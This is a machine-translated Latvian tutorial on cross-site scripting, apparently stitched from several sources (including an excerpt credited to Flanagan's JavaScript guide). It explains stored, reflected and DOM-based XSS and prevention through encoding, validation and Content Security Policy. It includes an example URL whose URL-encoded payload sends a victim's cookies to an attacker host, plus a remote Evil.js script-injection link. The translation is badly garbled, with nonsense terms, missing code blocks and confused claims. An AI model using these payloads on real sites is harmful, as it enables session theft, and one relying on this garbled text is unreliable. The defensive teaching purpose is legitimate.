Izmantojot XSS ievainojamību līdz maksimālajam. XSS uzbrukumi: kādi ir tie un kas ir bīstami XSS uzbrukuma apmācība

Izmantojot XSS, pieredzējuši uzbrucēji integrē vietņu vietņu lapās, kas strādā pie viņiem skripti, kas veikti inficēto resursu apmeklējuma laikā. Ir vairāki xss ievainojamības veidi, kas pārstāv citu bīstamo pakāpi.

Pasīvās un aktīvās neaizsargātības iezīmes

Visprecīzāk ir vērts ārstēt aktīvo neaizsargātību. Kad uzbrucējs īsteno savu SQL kodu par pieejamu datu bāzi vai failu serverī, katrs inficētā resursa apmeklētājs var būt cietušais. Šādas vietas bieži ir integrētas, tāpēc pat datu apstrādātie dati, kas glabāti datubāzē, var turpināt pārstāvēt noteiktu apdraudējumu.

Pasīvā XSS ievainojamības radīšana prasa zināmu atjautību. Vai nu jūs esat lured uz zemūdens resursu ar visu veidu atsaucēm, vai arī viņi mēģina jebkādā veidā nosūtīt nepieciešamo vietni. Tas parasti notiek, izmantojot vēstules no jūsu apmeklējuma lapas izdomātās administrēšanas, pieprasot konta iestatījumu pārbaudes. Tāpat aktīvi izmantoja dažādus surogātpasta biļetenus vai amatus plaši apmeklētajos forumos.

Pasīvā XSS ievainojamība var turpināties gan no amata, gan no iegūt parametriem. Pirmkārt, tiek raksturots vairāki dažādi triki, otrajam - URL līnijas kodēšana vai nu ievietojot papildu vērtības.

Nolaupīt sīkfailus

Visbiežāk tas ir jūsu sīkdatnes, kas ir XSS uzbrukuma mērķis. Dažreiz ir vērtīga informācija, tostarp lietotāju pieteikšanās un paroles vai to hash. Bet tas ir pietiekami bīstams un apņemoties zādzību aktīvās sesijas svarīgas vietnes jums, tāpēc neaizmirstiet nospiest pogu "OUTPUT", pat apmeklējot vietnes ar mājas dators. Lai gan lielākā daļa resursu, lai novērstu šādas darbības, izmanto automātisko sesijas ilguma ierobežošanu. XmlhttPrequest domēna ierobežojumi no šādiem uzbrukumiem nav ietaupīt.

Dati no aizpildītiem veidiem

EVOIDS popularitāte un lasīšanas informācija aizpildītajā formā. Lai to izdarītu, radot intereses, darbojas notikumi (OnSubmit), un visi sniegtie dati tiek nosūtīti arī uzbrucēja serveriem. Šādi uzbrukumi lielā mērā ir līdzīgi pikšķerēšanai, bet zādzība nav viltotas, bet reālajā vietā ar labu reputāciju.

Izplatītie DDOS uzbrukumi

Par uzbrukumiem, izmantojot XSS, tiek izmantoti vairāku transmisīvie resursi. Pateicoties XSS ievainojamībai, nosūtot pieprasījumus, kas nāk uz krekinga serveri, kā rezultātā tās aizsardzība nav izturīga.

Fake Intersight pieprasījumi (CSRF / XSRF)

Viņiem ir arī maz kopīga ar XSS. Šī ir atsevišķa ievainojamību, ko izmanto kopā ar XSS. Viņu mērķis ir nodrošināt pilnvarotu lietotāju no neaizsargātas vietnes uz zemūdens neaizsargāto lapu krāpnieciskām darbībām. Piemēram, klients, kas izmanto elektronisko maksājumu sistēmu, ir pievilcīga uz neaizsargāto vietni, kas pārskaita naudu iebrucējiem kontiem. Tāpēc vairumā maksājumu sistēmu aizsardzība nodrošina papildu ievadīto paroli vai apstiprinot kodu darbību.

XSS tārpu ieviešana

Šāda XSS uzbrukums vietnei parādījās ar slaveno sociālo tīklu (VKontakte, Twitter un citi). Izmantojot tos, visas lietotāju grupas saņem neaizsargātas XSS saites ar integrētiem skriptiem, kas nosūta surogātpasta tīklus no viņu vārdā. Arī plaši praktizē un iet caur personisko informāciju un fotogrāfijas uz resursiem iebrucējiem.

Nevainīgu XSS piemēri

Ņemiet vērā, ka daudzu veidu skaitītāji veic arī aktīvo XSS lomu. Tie tiek pārskaitīti uz datiem par apmeklētāju reģistrēšanu (to IP adreses, dati par izmantoto aprīkojumu).

Tikai šis kodekss integrējas jūsu datorā savā gribu. Uz citiem līdzīgiem XSS, jūs varat droši piešķirt vairākus Crossdomain Ajax vaicājumus.

Šķērsgriezuma skripts vai xss. Pārrobežu skriptu skripts (inteinim scenāriju izpilde).

Pārrobežu skriptu ievainojamības klātbūtne ļauj uzbrucējam nosūtīt izpildāmo kodu serverim, kas tiks novirzīts uz lietotāja pārlūkprogrammu. Šis kods parasti tiek izveidots HTML / JavaScript, bet VBScript, ActiveX, Java, Flash vai citas pārlūkprogrammas atbalstītās tehnoloģijas var izmantot.

Nosūtītais kods tiek izpildīts neaizsargātā servera drošības kontekstā (vai drošības zonā). Izmantojot šīs privilēģijas, kods saņem spēju lasīt, modificēt vai pārsūtīt svarīgus datus, kas pieejami, izmantojot pārlūkprogrammu. Uz uzbrukuma lietotājam var apdraudēt Accover (Cookie Theft), tās pārlūkprogrammu var novirzīt uz citu serveri vai servera saturs ir aizvietots. Rūpīgi plānotā uzbrukuma dēļ uzbrucējs var izmantot cietušā pārlūkprogrammu, lai apskatītu vietnes lapas uzbrukuma lietotāja vārdā. Kodeksu var pārraidīt uzbrucējs URL, virsrakstos un struktūrā HTTP vaicājuma protokola (Cookie, lietotāja aģents, Refferer), vērtības veidlapu laukiem, utt.

Ir trīs veidu uzbrukumi, kas noved pie scenāriju izrietošās izpildes: nav pastāvīgs, kas nav pastāvīgs (atspoguļots), pastāvīga konstante (Saglabāts) un DOM balstīts. Galvenā atšķirība starp noturīgām un ne-noturības ir tas, ka atstarotā versijā kodu servera nosūtīšana un atgriešanās savā klientā tiek veikta vienā HTTP pieprasījumā un uzglabātajā - dažādos.

Ne-pastāvīgā uzbrukuma īstenošana prasa, lai lietotājs pārslēdzas uz uzbrucēja veidoto saiti (saite var tikt nodota pa e-pastu, ICQ utt.). Lejupielādes procesā vietnes, kodu iestrādāts URL vai vaicājumu galvenes tiks nodota klientam un tiek veikts savā pārlūkprogrammā.

Saglabātās variācijas neaizsargātības notiek, kad kods tiek nosūtīts uz serveri un saglabājas uz to kādu laiku. Populārākie uzbrukumu mērķi šajā gadījumā ir forumi, pasts ar Web interfeiss un tērzētavas. Par uzbrukumu, lietotājam nav jāiet cauri saitei, tas ir pietiekami, lai apmeklētu neaizsargāto vietni.

    Piemērs. Saglabāts (noturīgs) uzbrukuma iespēju. Daudzām vietnēm ir biļetenu dēļi un forumi, kas ļauj lietotājiem atstāt ziņojumus. Reģistrētais lietotājs parasti identificē pēc numura

sesijas, kas saglabātas sīkdatnē. Ja uzbrucējs atstāj ziņojumu ar kodu JavaScript, tā saņems piekļuvi lietotāja sesijas identifikatoram. Cookie koda piemērs:

    Piemērs. Atspoguļots (non-pastāvīgs) uzbrukuma iespēju. Daudzi serveri sniedz lietotājiem iespēju meklēt servera saturu. Parasti pieprasījums tiek nosūtīts URL un ir iekļauts iegūtajā lapā.

Piemēram, pārejot uz URL http: //portal.example/search? Q \u003d "svaigs alus" lietotājam tiks parādīts lapa, kurā ir meklēšanas rezultāti un frāze: "0 lapas atrodamas jūsu pieprasījumā." Ja JavaScript tiek pārsūtīts kā vēlamo frāzi, tas tiks izpildīts lietotāja pārlūkprogrammā. Piemērs:

Http: //portal.example/search/? Q \u003d

Urlencode kodējumu var izmantot, lai paslēptu skripta kodu

Http: //portal.example/index.php? SessionId \u003d 12312312 un lietotājvārds \u003d% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6D% 65% 6E% 74% % 2E% 6C% 6F% 63% 61% 74% 69% 61% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65% 65% 65% 65% 65 % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 65% 78% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F% % 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 62% 65% 6,1% 6D% 65% 6E% 74% 2E %% 63% % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

Flangan David JavaScript.

Izvilkums no grāmatas Flangan David JavaScript Pilna ceļvedis 5 izdevums.

Termins šķērsgriezuma skripts (šķērsgriezums "Scripting) vai XSS, atsaucas uz datora ievainojamības zonu, kad uzbrucējs ievieš HTML tagus vai skriptus uz dokumentiem neaizsargātās tīmekļa vietnē. Aizsardzības organizēšana pret XSS uzbrukumiem - kopīga lieta, kas nodarbojas ar Webburdenries Serveru scenāriju izveidē. Tomēr programmētāji, kas izstrādā klienta JavaScript skriptus, arī jāzina par XSS uzbrukumiem un veikt pasākumus, lai aizsargātu pret tiem.

Tīmekļa lapa tiek uzskatīta par neaizsargātām pret XSS uzbrukumiem, ja tas dinamiski izveido dokumenta saturu, pamatojoties uz lietotāja datiem, kas nav nokārtojusi sākotnējo apstrādi, lai noņemtu iebūvēto HTML kodu. Kā triviāls piemērs, apsveriet šādu tīmekļa lapu, kas izmanto JavaScript skriptu, lai apsveiktu lietotāju pēc nosaukuma:

Skripta otrajā rindā, logs.Location.search.Substring metode tiek saukta, ar kuru daļa adreses joslas tiek ielādēta, sākot ar simbolu?. Tad, izmantojot Document.Write () metodi, tiek pievienots dinamiski ģenerēts dokumenta saturs. Šis skripts liek domāt, ka apelācija tīmekļa lapā tiks veikta par to. URL adreses:

Http://www.example.com/greet.html?name\u003ddavid

Šādā gadījumā tiks parādīts teksts "Hi David". Bet kas notiek, ja lapa tiek pieprasīta, izmantojot nākamo URL adresi:

Http://www.example.com/greet.html?name\u003d%3cscript%3ealert ("David ')% 3C / skripts% 3e.

Ar šādu saturu URL adreses skripts dinamiski ģenerē citu skriptu (kodi% 3C un% 3E ir leņķa kronšteini)! Iebildums Šis gadījums Ievietotais skripts vienkārši parāda dialoglodziņu, kas nerada nekādas briesmas. Bet iedomājieties šādu lietu:

Http: //sitea/greet.html? Vārds \u003d% 3Cscript src \u003d siteB / Evil.js% 3e% 3C / skripts% 3e

Pārrobežu skripts ir tāpēc, ka uzbrukumā piedalās vairāk nekā viena vietne. B Site B (vai pat C vietne c) ietver speciāli izstrādātu saiti (līdzīga tikko parādīta) uz vietni A, kas satur skriptu no vietnes B. Evil.js skripts atrodas uz uzbrucēja B tīmekļa vietnē, bet tagad Šis scenārijs izrādās jāīsteno vietnē A un var darīt visu, ko viņš ir apmierināts ar vietnes saturu A. Viņš var izdzēst lapu vai zvanīt citiem pārkāpumiem vietnes vietā (piemēram, atsakās saglabāt, kā aprakstīts nākamajā sadaļā). Tas var negatīvi ietekmēt vietnes apmeklētājus A. Daudz bīstamāka, ka šāds ļaunprātīgs scenārijs var izlasīt Sīkdatņu saturu, kas saglabāti vietnē A (iespējams, kas satur grāmatvedības telpas Vai cita personiska informācija) un nosūtiet šos datus atpakaļ uz vietni B. Iegultais skripts var pat izsekot taustiņsitieniem un nosūtīt šos datus vietnē B.

XSSS novēršanas universālā metode ir noņemšana Html tagov No visiem apšaubāmiem izcelsmes datiem, pirms tos izmantojat dinamiski izveidot dokumenta saturu. Lai labotu šo problēmu iepriekš parādīts fails sveiciens.html, jums ir nepieciešams pievienot nākamā rinda Skriptā, kas paredzēts, lai noņemtu stūra kronšteinus, kas saistīti ar tagu". Jebkurš lietotājs, kurš apmeklējis lapu, tagad saņems šādu atbildi:


Pēdējais komentārs:

Kad lietotāja pārlūks ielādē lapu, tas veiks visu, ieskaitot JavaScript kodu, kas atrodas iekšā tagos . Tas liek domāt, ka uzbrucēja īstenotā vienkārša klātbūtne ir problēma, neatkarīgi no tā, kurš faktiski tiek izpildīts konkrēts skripta kods.

Otrā daļa: XSS-Attack

XSS uzbrukuma dalībniekiem

Pirms aprakstīt, kā detalizēti aprakstīt, kā XSS uzbrukums darbojas, mums ir jāidentificē XSS uzbrukuma priekšmeti. Kopumā XSS uzbrukumā ir trīs dalībnieki: tīmekļa vietne, cietušais, I. kramplauzis.

  • Tīmekļa vietne Sniedz HTML lapas lietotājiem, kuri tos pieprasīja. Mūsu piemēros tas atrodas HTTP: // mājas lapā /.
    • Mājas lapas datu bāze Tā ir datu bāze, kas saglabā dažus datus, ko lietotāji ievada vietnes lapās.
  • Cietušais - Tas ir regulārs tīmekļa vietnes lietotājs, kas pieprasa lapas ar savu pārlūkprogrammu.
  • Uzbrūk - Tas ir uzbrucējs, kurš plāno uzsākt uzbrukumu upurim, izmantojot XSS ievainojamību vietnē.
    • Apsardzes serveris - Tas ir tīmekļa serveris, kas atrodas uzbrucēja kontrolē ar vienīgo mērķi - konfidenciālas upura informācijas zādzību. Mūsu piemēros tā atrodas vietnē http: // uzbrucējs /.

Piemērs scenārija uzbrukums

Šis skripts izveidos HTTP pieprasījumu citam URL, kas novirzīs lietotāja pārlūkprogrammu uzbrucēja serverim. URL ietver upuru sīkfailus kā vaicājuma parametru, kad HTTP pieprasījums nāk uz uzbrucēja serveri, uzbrucējs var iegūt šos sīkfailus no pieprasījuma. Pēc uzbrucēja saņēma sīkfailus, viņš var tos izmantot, lai dotu sev upuri un sāktu nākamo uzbrukumu.

No šī punkta uz HTML kodu redzams iepriekš tiks saukts Ļaunprātīga virkne vai Ļaunprātīgs skripts. Ir svarīgi saprast, ka string pati par sevi ir ļaunprātīga tikai tad, ja tas galu galā apstrādā kā HTML kodu cietušā pārlūkprogrammā, un tas var notikt tikai tad, ja XSS ievainojamība ir pieejama tīmekļa vietnē.

Kā šis piemērs darbojas

Turpmākajā shēma liecina par uzbrucēja uzbrukuma piemēru:

  1. Uzbrucējs izmanto vienu no tīmekļa vietnes veidiem, lai vietnes datubāzē ievietotu ļaunprātīgu virkni.
  2. Cietušais pieprasa lapu no tīmekļa vietnes.
  3. Vietnē ir aplūkota ļaunprātīga virkne no datubāzes un nosūta to cietušajam.
  4. Cietušo pārlūks veic ļaunprātīgu scenāriju atbildes laikā, nosūtot upurus uzbrucēja serverī.

XSS veidi.

XSS uzbrukuma mērķis vienmēr ir saistīts ar ļaunprātīgu JavaScript skripts Cietušā pārlūkprogrammā. Lai sasniegtu šo mērķi, ir vairāki būtiski atšķirīgi veidi. XSS uzbrukumi bieži iedalās trīs veidos:

  • Saglabāti (pastāvīgi) xsskur ļaunprātīga virkne nāk no tīmekļa vietnes datubāzes.
  • Atspoguļoti (nepastāvīgi) xssJa ļaunprātīga virkne tiek radīta no cietušā pieprasījuma.
  • XSS DOM modeļiJa ievainojamība notiek Kodeksā Klienta pusē, nevis servera koda pusē.

Iepriekšējā piemērā tiek parādīts uzglabātais XSS uzbrukums. Tagad mēs aprakstām divus citus XSS-uzbrukumu veidus: atspoguļoti XSS un XSS-Attack Dom modeļi.

Atspoguļoja XSS.

Attiecībā uz atspoguļotu XSS uzbrukumu, ļaunprātīga virkne ir daļa no cietušā pieprasījuma tīmekļa vietnē. Vietne saņem un ievieto šo ļaunprātīgo virkni lietotājam, kas nosūtīts lietotājam. Zemāk redzamā shēma ilustrē šo skriptu:

  1. Cietušais krāpnieciski nosūta URL pieprasījumu tīmekļa vietnē.
  2. Vietne ietver ļaunprātīgu virkni no URL vaicājuma, atbildot uz cietušo.
  3. Cietušā pārlūks veic ļaunprātīgu scenāriju, kas ietverts atbildē, nosūtot upurus ielaušanās serverī.

Kā veiksmīgi veikt atspoguļotu XSS uzbrukumu?

Atstarojamā XSS uzbrukums var šķist nekaitīgs, jo tas prasa cietušajam no viņa vārda, lai nosūtītu pieprasījumu, kurā ir ļaunprātīga virkne. Tā kā neviens nebūs brīvprātīgi uzbrukums pati, šķiet, ka nav iespējas faktiski izpildīt uzbrukumu.

Kā izrādās, ir vismaz divi kopīgi veidi, kā padarīt upuri, lai sāktu atspoguļotu XSS uzbrukumu sev:

  • Ja lietotājs ir konkrēta personība, uzbrucējs var nosūtīt ļaunprātīgu URL cietušajam (piemēram, izmantojot e-pastu vai kurjeru), un maldināt to piespiest, lai atvērtu saiti, lai apmeklētu tīmekļa vietni.
  • Ja mērķis ir liela lietotāju grupa, uzbrucējs var publicēt saiti uz ļaunprātīgu URL (piemēram, savā tīmekļa vietnē vai sociālajā tīklā) un jāgaida apmeklētāji, kas dosies uz saiti.

Abas šīs metodes ir līdzīgas, un abi var būt veiksmīgāki, izmantojot pakalpojumus, lai "saīsinātu" URL, viņi slēpj ļaunprātīgu virkni no lietotājiem, kuri to varētu identificēt.

XSS DOM modelī

XSS DOM modelis ir iespēja kā uzglabā un atspoguļo XSS uzbrukumu. Šajā XSS uzbrukumā ļaunprātīgā virkne netiek apstrādāta ar cietušā pārlūkprogrammu, līdz tiek izpildīts reālais JavaScript mājas lapā. Zemāk redzamā shēma ilustrē šo skriptu atspoguļotiem XSS uzbrukumiem:

  1. Uzbrucējs rada URL, kas satur ļaunprātīgu virkni un nosūta to cietušajam.
  2. Cietušais ir krāpniecisks ar uzbrucēju, nosūta URL pieprasījumu tīmekļa vietnē.
  3. Vietne saņem pieprasījumu, bet neietver ļaunprātīgu virkni atbildē.
  4. Cietušo pārlūks veic likumīgu skriptu, kas atrodas atbildē, kā rezultātā lapā tiks ievietots kaitīgais skripts.
  5. Cietušā pārlūkprogramma veic lapā ievietoto ļaunprātīgu skriptu, nosūtot cietušā sīkfailus ielaušanās serverim.
Kāda ir atšķirība starp xss DOM modeli?

Iepriekšējos uzglabāto un atspoguļoto XSS uzbrukumu piemēros serveris ievieto ļaunprātīgu skriptu lapai, kas pēc tam tiek nosūtīta, atbildot uz cietušo. Kad cietušā pārlūks saņēma atbildi, viņš pieņem, ka ļaunprātīgais skripts ir daļa no leģitīmā satura lapā, un automātiski to izpilda lapas ielādes laikā, kā arī jebkuru citu scenāriju.

XSS uzbrukumu piemērā DOM modelis ļaunprātīgais skripts netiek ievietots kā daļa no lapas; Vienīgais skripts, kas automātiski tiek izpildīts lapas slodzes laikā, ir likumīga lapas daļa. Problēma ir tā, ka šis likumīgais scenārijs tieši izmanto lietotāja ierakstu, lai lapā pievienotu HTML. Tā kā ļaunprātīgā virkne ievieto lapā, izmantojot InnerhTML, to analizē kā HTML, kā rezultātā tiks veikts kaitīgs skripts.

Šī atšķirība ir maza, bet ļoti svarīga:

  • Tradicionālajā XSS, ļaunprātīgu JavaScript tiek veikta, kad lapa ir ielādēta, kā daļa no HTML nosūtīto serveri.
  • Attiecībā uz XSS DOM modeli, ļaunprātīgu JavaScript tiek veikta pēc lapas ielādes, kā rezultātā šī lapa ar likumīgu JavaScript tiek saukta par nedrošu veidu, kā lietotāja ievadi (kas satur ļaunprātīgu virkni).
Kā darbojas XSS DOM modelis?

Iepriekšējā piemērā nav nepieciešams JavaScript; Serveris var radīt visu HTML pats par sevi. Ja koda servera pusē nesatur neaizsargātību, tīmekļa vietne nebūtu pakļauta XSS ievainojamībai.

Tomēr, tā kā tīmekļa lietojumprogrammas kļūst arvien progresīvākas, palielinās HTML lapu daudzums, izmantojot JavaScript klienta pusē, nevis uz servera. Jebkurā laikā, saturam ir jāmaina, neatjauninot visu lapu, tas ir iespējams, izmantojot JavaScript. Jo īpaši tas ir gadījums, kad lapa tiek atjaunināta pēc Ajax vaicājuma.

Tas nozīmē, ka XSS ievainojamības var būt ne tikai jūsu vietnes koda servera daļā, bet arī jūsu vietnes klienta JavaScript koda pusē. Līdz ar to, pat ar pilnīgi drošu kodu servera pusē, klienta kods joprojām var droši ļaut ievadīt lietotāja datus, atjauninot DOM pēc lapas lejupielādes. Ja tas notiek, Kods no klienta ļaus XSS uzbrukumam nav koda vaina no servera puses.

XSS, pamatojoties uz DOM modeli, serverim var būt neredzams

Ir īpašs gadījums XSS uzbrukumiem DOM modelī, kurā ļaunprātīga virkne nekad netiek nosūtīta uz mājas serveri: tas notiek, kad ļaunprātīga virkne ir ietverta fragmentā URL identifikatoru (kaut pēc simbola #). Pārlūkprogrammas nesūta šo daļu no URL uz serveri, tāpēc tīmekļa vietnei nav piekļuves tai, izmantojot kodu servera pusē. Kodeksam no klienta tomēr ir piekļuve tai, un tādējādi ir iespējams veikt XSS uzbrukumu nedrošu apstrādi.

Šis gadījums neaprobežojas ar fragmenta identifikatoru. Ir arī cita lietotāja ievade, kas ir neredzams serverim, piemēram, jaunām HTML5 funkcijām, piemēram, vietējām vietām un indeksētiem.

Trešā daļa:
XSS profilakse

XSS profilakses metodes

Atgādināt, ka XSS ir koda izvietošanas veida uzbrukums: lietotāja ievadītais lietotājs ir kļūdaini interpretēts kā ļaunprātīgs programmas kods. Lai novērstu šāda veida koda injekciju, ir nepieciešama droša ievades apstrāde. Web izstrādātājam ir divi būtiski dažādi veidi, kā veikt drošu ievades apstrādi:

  • Kodēšana - Tas ir veids, kas ļauj ievadīt datus, ko lietotājs tikai kā dati un neļauj pārlūkprogrammas apstrādei kā kodu.
  • Apstiprināšana - Šī metode filtrē lietotāja ievadi, lai pārlūks to interpretētu kā kodu bez ļaunprātīgas komandas.

Lai gan tas ir princips dažādas metodes Novērst XSS, viņiem ir vairākas vispārējas iezīmes, kas ir svarīgas izpratnei, lietojot kādu no tiem:

Konteksta droša ievades apstrāde ir jāveic atšķirīgi atkarībā no tā, kur lietotāja ievade tiek izmantota lapā. Ienākošo / izejošo drošu ievades apstrādi var veikt vai nu tad, kad vietne saņem ievades datus ( ienākošā satiksme) Vai tieši pirms vietnes ievieto pielāgotu ierakstu lapas saturā (izejošā). Klienta / servera drošu ievades apstrādi var veikt vai nu klienta pusē vai servera pusē, katra iespēja ir nepieciešama dažādos apstākļos.

Pirms izskaidrot detaļas Kā kodēšanas un apstiprināšanas darbu, mēs aprakstām katru no šiem posteņiem.

Apstrādes lietotāja ievade kontekstos

Tīmekļa lapā ir daudz kontekstu, kurā var izmantot pielāgotu ievadi. Īpaši noteikumi ir jāizpilda katram no tiem, lai lietotāja ieguldījums nevarētu "izlauzties" no tās konteksta, un to nevar interpretēt kā ļaunprātīgu kodu. Zemāk ir visizplatītākie konteksti:

Kāda ir konteksta nozīme?

Visos aprakstītajos kontekstos var rasties neaizsargātība, kas noved pie XSS, ja lietotājs ievadījis lietotājam, ir ievietots pirmajā kodējumā vai validācijā. Uzbrucējs var ieviest ļaunprātīgu kodu, vienkārši ievietojot noslēguma separatoru šim kontekstam, un pēc tam, kad tas ir ļaunprātīgs kods.

Piemēram, ja kādā brīdī tīmekļa vietne ietver lietotāja datu ierakstu tieši HTML atribūtā, uzbrucējs varēs īstenot ļaunprātīgu skriptu, uzsākot savu kotācijas ievadi, kā parādīts zemāk:

To varētu novērst, vienkārši noņemot visus citātus lietotāja ievadīšanā, un viss būtu labi, bet tikai šajā kontekstā. Ja ieeja tika ievietota citā kontekstā, aizvēršanas atdalītājs atšķirsies un injekcija būs iespējama. Šā iemesla dēļ droša ievades apstrāde vienmēr jāpielāgo kontekstam, kurā tiks ievietota lietotāja ievade.

Ienākošā / izejošā lietotāja ievades apstrāde

Instinktīvs, tas var šķist, ka XSS var novērst, kodējot vai apstiprinot visu lietotāja ievadi, tiklīdz mūsu vietne to saņem. Tādējādi jebkuras ļaunprātīgas līnijas jau būs neitralizētas, kad tās ir iekļautas lapā, un HTML paaudzes skriptiem nav jārūpējas par lietotāja ievades drošu apstrādi.

Problēma ir tā, ka, kā iepriekš aprakstījis lietotāja ievadīto lietotāju var ievietot vairākos kontekstos lapā. Un nav vienkāršs veids, kā noteikt, kad lietotāja ievade nāk kontekstā - kā tas tiks ievietots, un to pašu lietotāja ievadi bieži jāiekļauj dažādos kontekstos. Atsaucoties uz ienākošo ieguldījuma apstrādi, lai novērstu XSS, mēs izveidojam ļoti trauslu risinājumu, kas būs pakļauta kļūdām. (Novecojuši "Magic Quotes" PHP ir piemērs šādam risinājumam.)

Tā vietā, izejošo ieejas apstrādei jābūt jūsu galvenajai aizsardzības līnijai no XSS, jo tā var ņemt vērā konkrēto kontekstu, kuru lietotājs ievadījis lietotājs. Zināmā mērā ienākošo apstiprinājumu var izmantot, lai pievienotu sekundāro aizsardzības slāni, bet vēlāk.

Ja ir iespējams veikt drošu lietotāja ievades apstrādi

Lielākajā daļā moderno tīmekļa lietojumprogrammu lietotājs ieraksts tiek apstrādāts gan servera koda sānos, gan klienta koda pusē. Lai aizsargātu pret visu veidu XSS, droša ievades apstrāde ir jāizpilda gan kodā servera pusē, gan klienta koda pusē.

  • Lai aizsargātu pret tradicionālo XSS, servera pusē kodā jāveic droša ievades apstrāde. Tas tiek darīts ar servera atbalstīto valodu.
  • Lai aizsargātu pret XSS uzbrukumu DOM modelī, kur serveris nekad nesaņem ļaunprātīgu virkni (piemēram, iepriekš aprakstīto uzbrukumu, izmantojot identifikatora fragmentu), droša ievades apstrāde ir jāveic Kodā klienta pusē. Tas tiek darīts ar JavaScript.

Tagad, kad mēs paskaidrojām, kāpēc konteksta jautājumi, kāpēc starpība starp ienākošo un izejošo ieejas apstrādi ir svarīga, un kāpēc droša ievades apstrāde ir jāveic abās pusēs, un klienta pusē un servera pusē, mēs varam turpināt izskaidrot Kā tiek veikti divi drošas ievades apstrādes veidi (kodēšana un apstiprināšana).

Kodēšana

Kodēšana ir izeja no situācijas, kad ir nepieciešams, lai lietotāja ieceļošanas pārlūkprogramma interpretē tikai kā datus, nevis kodu. Populārākais kodēšanas veids Web Development ir maskēšana HTML, kas pārveido rakstzīmes, piemēram, kā < un > iebildums < un > attiecīgi.

Turpmāk pseidogode ir piemērs tam, kā lietotāja ievadītais lietotājs (pēc pasūtījuma) var kodēt, izmantojot HTML masku un pēc tam ievieto lapā, izmantojot servera scenāriju:

drukāt "
Drukāt. "Pēdējais komentārs:"
Drukāt EncoSehtml (LietotājuSinut)
Drukāt"

Ja lietotājs ievada šādu rindu Iegūtais HTML izskatīsies šādi:


Pēdējais komentārs:

Tā kā visi simboli ar īpašām vērtībām tika slēpts, pārlūks neizjaukt jebkuru lietotāja ievades daļu kā HTML.

Kodēšanas kods klienta pusē un serverī

Veicot kodēšanas kodu no klienta, vienmēr tiek izmantots javaScript valodakas ir iebūvētas funkcijas, kas kodē datus dažādiem kontekstiem.

Veicot kodēšanu savā kodā servera pusē, jūs paļauties uz jūsu valodā vai ietvaros pieejamo funkcijām. Sakarā ar lielo valodu skaitu un pieejamo sistēmu, tas ir apmācība Tas neattiecas uz kodēšanas informāciju jebkurā konkrētā serverī vai sistēmā. Neskatoties uz to, JavaScript kodēšanas funkcijas, ko izmanto klienta pusē, tiek izmantoti arī, rakstot kodu servera pusē.

Kodēšana klienta pusē

Kodējot pielāgotu klienta ievadi, izmantojot JavaScript, ir vairākas iebūvētas metodes un īpašības, kas automātiski kodē visus datus konteksta atkarīgā stilā:

Pēdējais iepriekš minētais konteksts (vērtības JavaScript) nav iekļauta šajā sarakstā, jo JavaScript nesniedz iebūvētu datu kodēšanas metodi, kas tiks aktivizēta JavaScript avota kodā.

Kodēšanas ierobežojumi

Pat tad, ja kodēšana ir iespējams izmantot ļaunprātīgas līnijas dažos kontekstos. Spilgts piemērs tam ir tad, kad lietotājs ieraksts tiek izmantots, lai nodrošinātu URL, piemēram, zemāk redzamajā piemērā:

document.queryselector ("A"). Href \u003d useadInput

Lai gan norādītā vērtība Href elementa īpašumā automātiski kodē to tā, lai tas kļūtu ne vairāk kā atribūta vērtība, tas pats par sevi netraucē uzbrucējs ievieto URL, sākot ar "JavaScript:". Noklikšķinot uz saites, neatkarīgi no būvniecības, iebūvētais JavaScript iekšpusē URL tiks izpildīts.

Kodēšana nav arī efektīvs risinājums, ja vēlaties lietotājus izmantot daļu no HTML kodiem lapā. Piemērs ir lietotāja profila lapa, kurā lietotājs var izmantot lietotāju HTML. Ja šis parastais HTML ir kodēts, profila lapa varēs ietvert tikai vienkāršu tekstu.

Šādās situācijās kodēšana jāpapildina ar validāciju, ar kuru mēs uzzināsim tālāk.

Apstiprināšana

Validācija ir Lietotāja ievades filtrēšanas akts, lai visas ļaunprātīgās daļas tiktu noņemtas bez nepieciešamības noņemt visu kodu tajā. Viens no visbiežāk izmantotajiem verifikācijas veidiem ļauj izmantot dažus HTML elementus (piemēram, un ), Bet fondi citiem (piemēram,

Ar pienācīgi specifisku SPS politiku pārlūkprogramma nevar lejupielādēt un izpildīt ļaunprātīgu script.js, jo http: // uzbrucējs / nav norādīts kā uzticams avots. Lai gan vietne neizdevās droši apstrādāt lietotāju ierakstu šajā gadījumā, CSP politika novērsa neaizsargātību un rada kaitējumu.

Pat ja uzbrucējs injicēja kodu scenārija koda iekšpusē, nevis atsaucoties uz Ārējais fails.Lai pienācīgi konfigurētu CSP politiku arī aizliegt injekciju JavaScript kodā, lai novērstu neaizsargātību un radītu kaitējumu.

Kā iespējot CSP?

Pēc noklusējuma pārlūkprogrammas neizmanto SPS. Lai iespējotu SCP savā tīmekļa vietnē, lapām jāietver papildu HTTP galvene: satura drošības politika. Jebkura lapa, kas satur šo nosaukumu, pārlūkprogrammas palaišanas laikā tiks piemērota drošības politika, ja pārlūks atbalsta SPS.

Tā kā drošības politika tiek nosūtīta ar katru HTTP atbildi, ir iespējams individuāli instalēt politiku serverī atsevišķi katrai lapai. To pašu politiku var piemērot visai tīmekļa vietnei, ievietojot to pašu CSP galveni katrā atbildē.

Satura satura drošības politikas galvenē satur virkni, kas nosaka vienu vai vairākas drošības politikas, kas strādās jūsu vietnē. Šīs virknes sintakse tiks aprakstīta zemāk.

Galvenes piemēri Šajā sadaļā tiek izmantota rindu un ievilkumu nodošana uztveres vienkāršībai; Tie nedrīkst būt klāt šajā galvenē.

CSP sintakse

CSP galvenes sintakse izskatās šādi:

Satura drošības politika:
direktīva avota izteiksme, avota izteiksme, ...;
direktīva ...;
...

Šī sintakse sastāv no diviem elementiem:

  • Direktīvas (direktīvas) Uzrādot līnijas, norādot resursu veidu, kas ņemts no norādītā saraksta.
  • Avota izteiksmes Tas ir modelis, kas apraksta vienu vai vairākus serverus no kuriem var lejupielādēt resursus.

Katrai direktīvai avota izteiksmes dati nosaka, kādus avotus var izmantot, lai ielādētu atbilstošā veida resursus.

Direktīva

SCSP galvenē var izmantot šādas direktīvas:

  • savienot-src.
  • fonts-src.
  • frame-Src.
  • img-src.
  • media-SRC.
  • objekts-src.
